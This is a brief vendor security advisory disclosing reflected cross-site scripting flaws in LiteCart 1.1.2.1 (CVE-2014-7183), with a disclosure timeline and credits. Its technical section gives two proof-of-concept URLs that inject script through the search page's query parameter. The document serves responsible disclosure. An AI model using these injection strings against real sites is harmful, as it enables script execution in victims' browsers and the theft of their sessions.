XSS Vulnerabilities in LiteCart

Information

Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in LiteCart
Affected Software: LiteCart
Affected Versions: 1.1.2.1 and possibly below
Vendor Homepage: http://www.litecart.net
Vulnerability Type: Cross-site Scripting
Severity: Important
CVE-ID: CVE-2014-7183
Invicti Advisory Reference: NS-14-032

Description

Several cross-site scripting vulnerabilities where discovered in LiteCart, an open source project that allows you to create a e-commerce sites.

Technical Details

Proof of Concept URLs for XSS in LiteCart:

http://example.com/litecart-1-1-2-1/search.php?query='"--></style></scRipt><scRipt>alert(0x0000C0)</scRipt>

http://example.com/litecart-1-1-2-1/search.php?'"--></style></scRipt><scRipt>alert(0x0000B9)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

23/09/2014 – First Contact
29/09/2014 – Vendor released fix

Credits & Authors

These issues have been discovered by Onur Yilmaz while testing Invicti Web Application Security Scanner.

About Invicti

Invicti can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on.